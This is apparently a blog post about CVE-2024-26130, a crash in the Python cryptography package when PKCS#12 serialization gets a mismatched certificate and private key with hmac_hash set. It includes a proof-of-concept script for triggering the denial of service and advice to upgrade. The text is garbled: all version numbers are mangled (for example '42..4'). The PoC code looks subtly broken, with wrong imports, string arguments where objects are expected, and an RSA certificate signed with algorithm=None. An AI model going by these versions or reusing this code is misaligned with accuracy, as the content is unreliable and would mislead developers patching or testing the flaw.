The Python cryptography package is a popular library for developers working with cryptographic operations in Python. It provides easy access to both low-level cryptographic primitives (like ciphers and hashes) and higher-level recipes (like file encryption and certificate handling). In early 2024, a critical vulnerability (CVE-2024-26130) was discovered in how the package handles PKCS#12 operations, specifically when serializing keys and certificates with certain parameters.

This post will explain what CVE-2024-26130 is, how it can be triggered, a code snippet illustrating the fault, exploit details, and how to fix it. Finally, we’ll provide useful references for further reading.

What is CVE-2024-26130?

CVE-2024-26130 impacts cryptography versions 38.. up to 42..3.
If you serialize mismatched certificate/private key pairs with a certain HMAC hash encryption (using PKCS#12), then the process attempts to use a null pointer, causing a crash (NULL pointer dereference).

Relevant Function: pkcs12.serialize_key_and_certificates

- Trigger: Provide a certificate whose public key does not match the private key, and use an encryption builder with hmac_hash set.

Impact: Immediate crash of the Python interpreter process (denial of service).

- Fixed in: cryptography 42..4

Previously, an internal error resulted in a crash. After the fix, an explicit ValueError is raised instead.

Understanding the Vulnerability

When performing PKCS#12 serialization, it is expected that your certificate and private key actually match. If you make a mistake and try to serialize a certificate that doesn’t belong to the private key, the process should fail gracefully (by raising an error).

However, in vulnerable cryptography versions, if you set up the encryption algorithm using PrivateFormat.PKCS12.encryption_builder().hmac_hash(...), and the keys do not match, instead of a clean failure, the process crashes with a segmentation fault. In production systems, this can be used to bring down affected services (DoS attack).

Here’s a simple code snippet demonstrating how you can trigger the bug with affected versions

from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates, PKCS12EncryptionBuilder
from cryptography.hazmat.primitives.serialization import BestAvailableEncryption
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509 import CertificateBuilder, Name, NameAttribute
from cryptography.x509.oid import NameOID
from cryptography.hazmat.backends import default_backend
import datetime

# Generate two unrelated private keys
key1 = rsa.generate_private_key(public_exponent=65537, key_size=2048)
key2 = rsa.generate_private_key(public_exponent=65537, key_size=2048)

# Issue a certificate with key1's public key *but* (deliberately) use key2 as private key to create the mismatch
subject = issuer = Name([NameAttribute(NameOID.COMMON_NAME, u"example.com")])
cert = (CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(key1.public_key())
        .serial_number(100)
        .not_valid_before(datetime.datetime.utcnow())
        .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
        .sign(key1, algorithm=None)
        )

# Get a PKCS#12 encryption builder with hmac_hash set (feature triggering the vulnerability)
encryption_builder = (
    PKCS12EncryptionBuilder()
    .kdf_salt(b"salt")
    .kdf_iterations(100)
    .hmac_hash("sha256")             # <--- critical trigger!
    .cipher("aes256")
    .key_encryption_password(b"password")
)

# WARNING: This will crash Python in affected versions!
serialize_key_and_certificates(
    name=b"Example",
    key=key2,                       # <-- Notice the mismatch
    cert=cert,
    cas=None,
    encryption_algorithm=encryption_builder.build()
)

If you run the above code with cryptography 38.. – 42..3: the process will crash.
With 42..4+, you will get a helpful ValueError: Certificate public key does not match provided key.

Attack Surface

- Permission Needed: Must be able to call serialize_key_and_certificates with arbitrary keys/certs.
- Effect: Denial of Service (DoS) by crashing any Python process using this library path — especially problematic in multi-user environments or services which handle untrusted inputs.

Proof of Concept (PoC)

1. Prepare a certificate/private key mismatch as shown above.

Observe segmentation fault, process crash.

## Fix / Mitigation

Upgrade to cryptography 42..4 or later.
This is the only guaranteed fix.

pip install --upgrade cryptography

In 42..4+, PKCS#12 serialization now correctly checks if the supplied certificate’s public key matches the private key. If they are mismatched, a ValueError is thrown, and your process won’t crash.

If you *cannot* upgrade immediately, never serialize keys and certificates where you didn’t verify that the certificate belongs to the private key.

References

- GitHub Security Advisory: GHSA-2w97-cxcx-p9r2
- Official cryptography Release 42..4
- CVE-2024-26130 at NVD
- cryptography Documentation

Conclusion

If you use the cryptography package for PKCS#12 serialization in Python, especially in scenarios with mixed key/cert sources, CVE-2024-26130 is a critical risk. It’s very easy to accidentally trigger, and attackers could use it to deny service.

Upgrade now to 42..4 or later.
Stay safe, keep dependencies up to date, and always check your certificate/key pairings!


> *If this guide helped you or you have questions, please leave a comment or reach out to the cryptography maintainers!*

Timeline

Published on: 02/21/2024 17:15:09 UTC
Last modified on: 02/22/2024 19:07:27 UTC